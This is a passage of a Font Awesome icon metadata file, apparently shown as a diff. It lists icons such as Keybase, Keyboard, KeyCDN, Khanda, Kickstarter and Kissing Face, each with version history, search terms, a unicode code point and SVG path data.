13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z" + } + }, + "free": [ + "solid" + ] + }, + "keybase": { + "changes": [ + "5.0.11", + "5.8.0", + "5.10.2", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f4f5", + "label": "Keybase", + "voted": true, + "svg": { + "brands": { + "last_modified": 1568817883851, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M286.17 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18zm111.92-147.6c-9.5-14.62-39.37-52.45-87.26-73.71q-9.1-4.06-18.38-7.27a78.43 78.43 0 0 0-47.88-104.13c-12.41-4.1-23.33-6-32.41-5.77-.6-2-1.89-11 9.4-35L198.66 32l-5.48 7.56c-8.69 12.06-16.92 23.55-24.34 34.89a51 51 0 0 0-8.29-1.25c-41.53-2.45-39-2.33-41.06-2.33-50.61 0-50.75 52.12-50.75 45.88l-2.36 36.68c-1.61 27 19.75 50.21 47.63 51.85l8.93.54a214 214 0 0 0-46.29 35.54C14 304.66 14 374 14 429.77v33.64l23.32-29.8a148.6 148.6 0 0 0 14.56 37.56c5.78 10.13 14.87 9.45 19.64 7.33 4.21-1.87 10-6.92 3.75-20.11a178.29 178.29 0 0 1-15.76-53.13l46.82-59.83-24.66 74.11c58.23-42.4 157.38-61.76 236.25-38.59 34.2 10.05 67.45.69 84.74-23.84.72-1 1.2-2.16 1.85-3.22a156.09 156.09 0 0 1 2.8 28.43c0 23.3-3.69 52.93-14.88 81.64-2.52 6.46 1.76 14.5 8.6 15.74 7.42 1.57 15.33-3.1 18.37-11.15C429 443 434 414 434 382.32c0-38.58-13-77.46-35.91-110.92zM142.37 128.58l-15.7-.93-1.39 21.79 13.13.78a93 93 0 0 0 .32 19.57l-22.38-1.34a12.28 12.28 0 0 1-11.76-12.79L107 119c1-12.17 13.87-11.27 13.26-11.32l29.11 1.73a144.35 144.35 0 0 0-7 19.17zm148.42 172.18a10.51 10.51 0 0 1-14.35-1.39l-9.68-11.49-34.42 27a8.09 8.09 0 0 1-11.13-1.08l-15.78-18.64a7.38 7.38 0 0 1 1.34-10.34l34.57-27.18-14.14-16.74-17.09 13.45a7.75 7.75 0 0 1-10.59-1s-3.72-4.42-3.8-4.53a7.38 7.38 0 0 1 1.37-10.34L214 225.19s-18.51-22-18.6-22.14a9.56 9.56 0 0 1 1.74-13.42 10.38 10.38 0 0 1 14.3 1.37l81.09 96.32a9.58 9.58 0 0 1-1.74 13.44zM187.44 419a18 18 0 1 0 18 18 18 18 0 0 0-18-18z" + } + }, + "free": [ + "brands" + ] + }, + "keyboard": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "accessory", + "edit", + "input", + "text", + "type", + "write" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f11c", + "label": "Keyboard", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635561, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" + }, + "regular": { + "last_modified": 1628088634880, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "keycdn": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3ba", + "label": "KeyCDN", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861001, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M63.8 409.3l60.5-59c32.1 42.8 71.1 66 126.6 67.4 30.5.7 60.3-7 86.4-22.4 5.1 5.3 18.5 19.5 20.9 22-32.2 20.7-69.6 31.1-108.1 30.2-43.3-1.1-84.6-16.7-117.7-44.4.3-.6-38.2 37.5-38.6 37.9 9.5 29.8-13.1 62.4-46.3 62.4C20.7 503.3 0 481.7 0 454.9c0-34.3 33.1-56.6 63.8-45.6zm354.9-252.4c19.1 31.3 29.6 67.4 28.7 104-1.1 44.8-19 87.5-48.6 121 .3.3 23.8 25.2 24.1 25.5 9.6-1.3 19.2 2 25.9 9.1 11.3 12 10.9 30.9-1.1 42.4-12 11.3-30.9 10.9-42.4-1.1-6.7-7-9.4-16.8-7.6-26.3-24.9-26.6-44.4-47.2-44.4-47.2 42.7-34.1 63.3-79.6 64.4-124.2.7-28.9-7.2-57.2-21.1-82.2l22.1-21zM104 53.1c6.7 7 9.4 16.8 7.6 26.3l45.9 48.1c-4.7 3.8-13.3 10.4-22.8 21.3-25.4 28.5-39.6 64.8-40.7 102.9-.7 28.9 6.1 57.2 20 82.4l-22 21.5C72.7 324 63.1 287.9 64.2 250.9c1-44.6 18.3-87.6 47.5-121.1l-25.3-26.4c-9.6 1.3-19.2-2-25.9-9.1-11.3-12-10.9-30.9 1.1-42.4C73.5 40.7 92.2 41 104 53.1zM464.9 8c26 0 47.1 22.4 47.1 48.3S490.9 104 464.9 104c-6.3.1-14-1.1-15.9-1.8l-62.9 59.7c-32.7-43.6-76.7-65.9-126.9-67.2-30.5-.7-60.3 6.8-86.2 22.4l-21.1-22C184.1 74.3 221.5 64 260 64.9c43.3 1.1 84.6 16.7 117.7 44.6l41.1-38.6c-1.5-4.7-2.2-9.6-2.2-14.5C416.5 29.7 438.9 8 464.9 8zM256.7 113.4c5.5 0 10.9.4 16.4 1.1 78.1 9.8 133.4 81.1 123.8 159.1-9.8 78.1-81.1 133.4-159.1 123.8-78.1-9.8-133.4-81.1-123.8-159.2 9.3-72.4 70.1-124.6 142.7-124.8zm-59 119.4c.6 22.7 12.2 41.8 32.4 52.2l-11 51.7h73.7l-11-51.7c20.1-10.9 32.1-29 32.4-52.2-.4-32.8-25.8-57.5-58.3-58.3-32.1.8-57.3 24.8-58.2 58.3zM256 160" + } + }, + "free": [ + "brands" + ] + }, + "khanda": { + "changes": [ + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "chakkar", + "sikh", + "sikhism", + "sword" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f66d", + "label": "Khanda", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635562, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z" + } + }, + "free": [ + "solid" + ] + }, + "kickstarter": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3bb", + "label": "Kickstarter", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861002, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 480H48c-26.4 0-48-21.6-48-48V80c0-26.4 21.6-48 48-48h352c26.4 0 48 21.6 48 48v352c0 26.4-21.6 48-48 48zM199.6 178.5c0-30.7-17.6-45.1-39.7-45.1-25.8 0-40 19.8-40 44.5v154.8c0 25.8 13.7 45.6 40.5 45.6 21.5 0 39.2-14 39.2-45.6v-41.8l60.6 75.7c12.3 14.9 39 16.8 55.8 0 14.6-15.1 14.8-36.8 4-50.4l-49.1-62.8 40.5-58.7c9.4-13.5 9.5-34.5-5.6-49.1-16.4-15.9-44.6-17.3-61.4 7l-44.8 64.7v-38.8z" + } + }, + "free": [ + "brands" + ] + }, + "kickstarter-k": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3bc", + "label": "Kickstarter K", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861001, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M147.3 114.4c0-56.2-32.5-82.4-73.4-82.4C26.2 32 0 68.2 0 113.4v283c0 47.3 25.3 83.4 74.9 83.4 39.8 0 72.4-25.6 72.4-83.4v-76.5l112.1 138.3c22.7 27.2 72.1 30.7 103.2 0 27-27.6 27.3-67.4 7.4-92.2l-90.8-114.8 74.9-107.4c17.4-24.7 17.5-63.1-10.4-89.8-30.3-29-82.4-31.6-113.6 12.8L147.3 185v-70.6z" + } + }, + "free": [ + "brands" + ] + }, + "kiss": { + "changes": [ + "5.1.0", + "5.1.1", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "beso", + "emoticon", + "face", + "love", + "smooch" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f596", + "label": "Kissing Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635563, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 